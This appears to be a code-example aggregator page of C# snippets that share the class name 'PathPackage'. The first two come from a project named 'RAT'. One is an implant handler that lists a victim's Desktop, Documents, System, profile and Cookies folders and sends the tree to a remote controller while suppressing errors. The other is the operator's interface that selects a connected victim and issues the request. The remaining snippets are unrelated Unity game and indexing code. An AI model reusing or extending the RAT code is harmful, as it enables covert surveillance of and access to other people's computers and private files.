コード例 #1
0
ファイル: PacketHandler.cs プロジェクト: rLoka/RAT
        private static void FileDirPacketHandler(byte[] receivedPacket, Socket clientSocket)
        {
            try
            {
                PathPackage pathPackage = new PathPackage(receivedPacket);
                string      path        = null;
                switch (pathPackage.pathId)
                {
                case 0:
                    path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
                    break;

                case 1:
                    path = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
                    break;

                case 2:
                    path = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures);
                    break;

                case 3:
                    path = Environment.GetFolderPath(Environment.SpecialFolder.MyVideos);
                    break;

                case 4:
                    path = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles);
                    break;

                case 5:
                    path = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86);
                    break;

                case 6:
                    path = Environment.GetFolderPath(Environment.SpecialFolder.System);
                    break;

                case 7:
                    path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
                    break;

                case 8:
                    path = Environment.GetFolderPath(Environment.SpecialFolder.Windows);
                    break;

                case 9:
                    path = Environment.GetFolderPath(Environment.SpecialFolder.Cookies);
                    break;
                }
                TreeView treeView = new TreeView();
                treeView = ListDirectory(treeView, path);
                FileDirPackage fileDirPackage = new FileDirPackage(treeView);
                clientSocket.Send(fileDirPackage.ToByteArray());
            }
            catch (Exception ex) { }
        }
コード例 #2
0
ファイル: Form1.cs プロジェクト: rLoka/RAT
        private void pretražiToolStripMenuItem_Click(object sender, EventArgs e)
        {
            int pathId = 0;

            switch (cbPath.Text)
            {
            case "Desktop":
                pathId = 0;
                break;

            case "MyDocuments":
                pathId = 1;
                break;

            case "MyPictures":
                pathId = 2;
                break;

            case "MyVideos":
                pathId = 3;
                break;

            case "ProgramFiles":
                pathId = 4;
                break;

            case "ProgramFilesX86":
                pathId = 5;
                break;

            case "System":
                pathId = 6;
                break;

            case "UserProfile":
                pathId = 7;
                break;

            case "Windows":
                pathId = 8;
                break;

            case "Cookies":
                pathId = 9;
                break;
            }
            PathPackage pathPackage      = new PathPackage(pathId);
            var         selectedRowIndex = connectionList.SelectedCells[0].RowIndex;
            var         clientSocket     = PacketHandler.clientList.ElementAt(selectedRowIndex).clientSocket;

            clientSocket.Send(pathPackage.ToByteArray());
        }
コード例 #3
0
        private void DropPackage(Package p)
        {
            if (_controlledElement is null)
            {
                return;
            }

            p.GetComponent <Renderer>().enabled = true;

            Destroy(_controlledElement.gameObject);
            _controlledPackage = null;
            _controlledElement = null;
        }
コード例 #4
0
        protected override void OnPackageReleased(object sender, PackageEventArgs e)
        {
            if (!_controlledElement.Valid)
            {
                DropPackage(_controlledPackage);
                return;
            }

            _userElements.Add(_controlledElement);
            StartCoroutine(PlaceElement(_controlledElement));

            Destroy(_controlledPackage.gameObject);
            _controlledElement = null;
            _controlledPackage = null;
        }
コード例 #5
0
        protected override void OnPackageEnter(object sender, PackageEventArgs e)
        {
            if (_controlledPackage != null)
            {
                throw new InvalidOperationException("Already controlling a package");
            }

            // Create the path element from the package
            _controlledPackage = (PathPackage)e.Package;
            _controlledElement = Instantiate(_controlledPackage.PathElement.gameObject,
                                             _controlledPackage.transform.position,
                                             Quaternion.identity,
                                             transform).GetComponent <PathElement>();

            _controlledPackage.GetComponent <Renderer>().enabled = false;
        }
コード例 #6
0
 /// <summary>
 /// Determines if this item represents the same resource as <paramref name="other"/>.
 /// </summary>
 /// <param name="other">Another <see cref="SpecificIndexEntry"/> to test for equivalence.</param>
 /// <returns>True if this item represents the same resource as <paramref name="other"/>; otherwise false.</returns>
 public bool Equals(SpecificIndexEntry other)
 {
     return(ResourceIndexEntry.Equals(other.ResourceIndexEntry) && PathPackage.Equals(other.PathPackage));
 }